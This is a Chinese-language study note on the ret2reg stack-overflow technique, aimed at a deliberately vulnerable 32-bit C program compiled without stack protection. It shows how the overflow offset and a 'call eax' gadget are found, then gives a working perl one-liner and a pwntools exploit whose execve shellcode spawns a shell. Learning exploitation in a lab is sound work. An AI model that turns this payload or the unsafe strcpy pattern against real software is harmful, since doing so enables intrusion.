手法概述

​ 这一种攻击手法主要利用的是像如 jmp rsp, jmp rax,call rax这种跳转的指令. 这种指令在一些情况下可以对抗ALSR随机化, 因为比如我们写入一段shellcode,但是不知道shellcode的开始地址,不过,如果有一个寄存器,例如rax,指向shellcode的空间,那么栈溢出后,覆盖返回地址为call rax即可返回到shellcode处进行执行.

​ 主要参考的这一篇文章,利用的这里面的例子,不过在复现的时候,有些地方和文章里有点小区别

https://blog.csdn.net/sinat_35695255/article/details/52031813

漏洞代码

ret2reg.c 编译:gcc -Wall -g -o ret2reg ret2reg.c -z execstack -m32 -fno-stack-protector

打开ALSR echo 2 > /proc/sys/kernel/randomize_va_space

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>    
#include <string.h>

void evilfunction(char *input) {

char buffer[512];
strcpy(buffer, input);
}

int main(int argc, char **argv) {

evilfunction(argv[1]);

return 0;
}

攻击过程

寻找溢出长度

​ 可以通过gdb调试,也可以通过参考文章作者给的办法

1
./ret2reg $(perl -e 'printf "A"x524 . "BBBB"')  

完之后再查看内核崩溃文件,能看到覆盖了返回地址,EIP被设置为BBBB

image-20230714220708831

寻找gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@vultr:~/ret2reg# objdump  -d ret2reg | grep *%eax
101d: ff d0 call *%eax
110c: ff d0 call *%eax

root@vultr:~/ret2reg# ROPgadget --binary ret2reg --only="call"
Gadgets information
============================================================
0x000010b6 : call dword ptr [eax + 0x51]
0x000010af : call dword ptr [eax - 0x73]
0x000011f0 : call dword ptr [edx - 0x77]
0x0000101d : call eax
0x0000115d : call edx

Unique gadgets found: 5

寻找shellcode和寄存器的关系

​ 在strcpy后,shellcode的存放地址,也在了eax中(存放返回值),因为strcpy函数的返回值是指向最终的目标字符串 dest 的指针,所以如果有jmp eax或者call eax,就可以转移控制流过去

image-20230714230359708

core文件

gdb ret2reg core文件 –q 查看内核崩溃文件, 可以看到崩溃时的情况

那么,linux 程序崩溃 如何产生core呢?

ulimit查看,如果为0,就不会产生,需要设置一下,

ulimit -c unlimited 设置为可以产生coredump且大小不受限制,但仅对当前会话?生效,如果想要永久生效,修改/etc/profile,加入ulimit -c unlimited即可

参考链接: https://www.tinymind.net.cn/articles/e4c54a679a8b15

设置core文件路径:

proc/sys/kernel/core_pattern 可以设置格式化的 core 文件保存位置或文件名

1
echo "/core/core-%e-%p-%t" > /proc/sys/kernel/core_pattern

https://www.ngui.cc/el/1819464.html?action=onClick

exp

​ 这里的一个重点是要找call eax的地址,

​ echo 0 > /proc/sys/kernel/randomize_va_space(作者echo 2, 说是不随机化加载地址,但是我这边随机化了…回头再了解下

1
2
3
4
5
6
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x56555000 0x56558000 r-xp 3000 0 /root/ret2reg/ret2reg
0x56558000 0x56559000 r-xp 1000 2000 /root/ret2reg/ret2reg
0x56559000 0x5655a000 rwxp 1000 3000 /root/ret2reg/ret2reg

方法一

​ 0x5655601d

1
./ret2reg $(perl -e 'printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."\x1d\x60\x55\x56"')

​ 随机化程度有多少呢? 是否可以枚举

​ 根据实际情况测试,随机化的大小好像不是很大,可以直接枚举(回头确认下范围)

image-20230714220717124

​ 和博客里的那个随机化不一样,博客里说把randomize_va_space设置为2,这里设置为2仍然会随机化,设置为0就都取消了

1
2
3
4
5
root@vultr:~/ret2reg# echo 0 > /proc/sys/kernel/randomize_va_space
root@vultr:~/ret2reg# ./ret2reg $(perl -e 'printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."\x1d\x60\x55\x56"')
# ls
core exp.py ret2reg ret2reg.c
# exit

方法二

​ 这里面的三个payload都可以用,本质上没啥区别. 不加架构也能成功,注意需要在启动时就传递参数的话,用这种方式 p = process(argv=[“./ret2reg”,payload])

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

#context.arch= 'i386'
context(arch='i386',os='linux',log_level='debug')
shellcode = asm(shellcraft.sh())
#payload = shellcode + b"a"*(524-len(shellcode))+p32(0x5655601d)
#payload = b"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"+b"a"*499+p32(0x5655601d)
payload = b"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"+b"a"*499+b"\x1d\x60\x55\x56"
p = process(argv=["./ret2reg",payload])

p.interactive()

参考链接:https://it.cha138.com/jingpin/show-199849.html

问题

jmp可以吗? jmp是指什么来..

call和jmp的区别

image-20230718213610314

image-20230718213617649

2.关于随机化地址的问题